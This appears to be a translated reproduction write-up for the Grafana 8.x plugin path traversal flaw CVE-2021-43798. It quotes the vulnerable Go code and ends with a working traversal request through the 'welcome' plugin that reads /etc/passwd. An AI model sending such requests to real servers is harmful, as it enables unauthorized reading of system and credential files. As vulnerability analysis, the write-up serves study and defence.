Grafana Plugins Arbitrary File Reading Vulnerability Cve 2021 43798

Grafana plugins arbitrary file reading vulnerability CVE-2021-43798

Vulnerability Description

Grafana has a random file reading vulnerability. Through the default plug-in, a special request package can be constructed to read any file on the server.

Vulnerability Impact

Grafana 8.x

Network surveying and mapping

Vulnerability reappears

Login page

Download the source code for local analysis

https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0

Find the request path in api.go based on the vulnerability

r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

Track the corresponding getPluginAssets method

The parameters after obtaining /public/plugins/ from the request path are assigned to pluginID, and then splicing them to pluginFilePath to enter the file to read the fragment

requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

That is to say, the file path construct request is spliced ​​through the default plug-in to read the file.

plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
		c.JsonApiErr(404, "Plugin not found", nil)
		return
	}

Plugin path public/app/plugins/panel

Construct request

/public/plugins/welcome/../../../../../../../../../etc/passwd